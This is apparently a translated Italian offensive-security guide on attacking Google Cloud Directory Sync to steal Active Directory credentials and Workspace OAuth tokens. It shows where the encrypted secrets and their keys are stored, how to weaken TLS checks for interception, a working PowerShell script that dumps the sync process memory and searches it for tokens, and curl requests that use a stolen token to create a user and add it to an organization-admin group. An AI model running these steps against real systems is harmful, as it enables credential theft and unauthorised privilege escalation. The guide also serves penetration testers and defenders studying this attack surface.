Questo è uno strumento che può essere utilizzato per sincronizzare gli utenti e i gruppi di Active Directory con il tuo Workspace (e non viceversa al momento della scrittura).
È interessante perché è uno strumento che richiederà le credenziali di un superutente di Workspace e di un utente AD privilegiato. Quindi, potrebbe essere possibile trovarlo all'interno di un server di dominio che sincronizza gli utenti di tanto in tanto.
Per eseguire un MitM sul config-manager.exe binario, aggiungi semplicemente la seguente riga nel file config.manager.vmoptions: -Dcom.sun.net.ssl.checkRevocation=false
Nota che Winpeas è in grado di rilevare GCDS, ottenere informazioni sulla configurazione e anche le password e le credenziali crittografate.
Nota anche che GCDS non sincronizzerà le password da AD a Workspace. Se qualcosa, genererà solo password casuali per gli utenti appena creati in Workspace, come puoi vedere nell'immagine seguente:
GCDS - Token del disco e credenziali AD
Il binario config-manager.exe (il principale binario GCDS con GUI) memorizzerà le credenziali di Active Directory configurate, il token di aggiornamento e l'accesso per impostazione predefinita in un file xml nella cartella C:\Program Files\Google Cloud Directory Sync in un file chiamato Untitled-1.xml per impostazione predefinita. Anche se potrebbe anche essere salvato nei Documenti dell'utente o in qualsiasi altra cartella.
Inoltre, il registro HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui all'interno della chiave open.recent contiene i percorsi a tutti i file di configurazione recentemente aperti (xml). Quindi è possibile controllarlo per trovarli.
Le informazioni più interessanti all'interno del file sarebbero:
Nota come il refreshtoken e la password dell'utente siano criptati utilizzando AES CBC con una chiave e un IV generati casualmente memorizzati in HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util (dove la libreria Java prefs memorizza le preferenze) nelle chiavi di stringa /Encryption/Policy/V2.iv e /Encryption/Policy/V2.key memorizzate in base64.
Script Powershell per decriptare il refresh token e la password
</details>
<div data-gb-custom-block data-tag="hint" data-style='info'>
Nota che è possibile controllare queste informazioni esaminando il codice java di **`DirSync.jar`** da **`C:\Program Files\Google Cloud Directory Sync`** cercando la stringa `exportkeys` (poiché è il parametro cli che il binario `upgrade-config.exe` si aspetta per estrarre le chiavi).
</div>
Invece di utilizzare lo script powershell, è anche possibile utilizzare il binario **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** con il parametro `-exportKeys` e ottenere la **Key** e **IV** dal registro in esadecimale e poi utilizzare CyberChef con AES/CBC e quella chiave e IV per decrittografare le informazioni.
### GCDS - Dumping dei token dalla memoria
Proprio come con GCPW, è possibile estrarre la memoria del processo `config-manager.exe` (è il nome del binario principale di GCDS con GUI) e sarai in grado di trovare i token di refresh e accesso (se sono già stati generati).\
Immagino che tu possa anche trovare le credenziali configurate di AD.
<details>
<summary>Dump dei processi config-manager.exe e ricerca dei token</summary>
```powershell
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"
# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)
# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}
# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "config-manager" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id
# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}
# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {
$matches = Select-String -Path $file -Pattern $regex -AllMatches
$uniqueMatches = @{}
foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText = $matchInfo.Line.Trim()
FilePath = $matchInfo.Path
}
}
}
}
foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}
Write-Output ""
}
}
Remove-Item -Path $dumpFolder -Recurse -Force
GCDS - Generazione di token di accesso dai token di aggiornamento
Utilizzando il token di aggiornamento, è possibile generare token di accesso utilizzandolo e l'ID client e il segreto client specificati nel seguente comando:
Nota che anche avendo un refresh token, non è possibile richiedere alcuno scope per il token di accesso poiché puoi richiedere solo gli scopes supportati dall'applicazione in cui stai generando il token di accesso.
Inoltre, il refresh token non è valido in ogni applicazione.
Per impostazione predefinita, GCSD non avrà accesso come utente a ogni possibile scope OAuth, quindi utilizzando il seguente script possiamo trovare gli scopes che possono essere utilizzati con il refresh_token per generare un access_token:
#### Crea un utente e aggiungilo al gruppo `gcp-organization-admins` per provare a ottenere privilegi elevati in GCP
```bash
# Create new user
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/users' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"primaryEmail": "deleteme@domain.com",
"name": {
"givenName": "Delete",
"familyName": "Me"
},
"password": "P4ssw0rdStr0ng!",
"changePasswordAtNextLogin": false
}'
# Add to group
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@domain.com/members' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"email": "deleteme@domain.com",
"role": "OWNER"
}'
# You could also change the password of a user for example
Non è possibile assegnare il ruolo di Super Admin al nuovo utente perché il refresh token non ha abbastanza scope per fornire i privilegi richiesti.
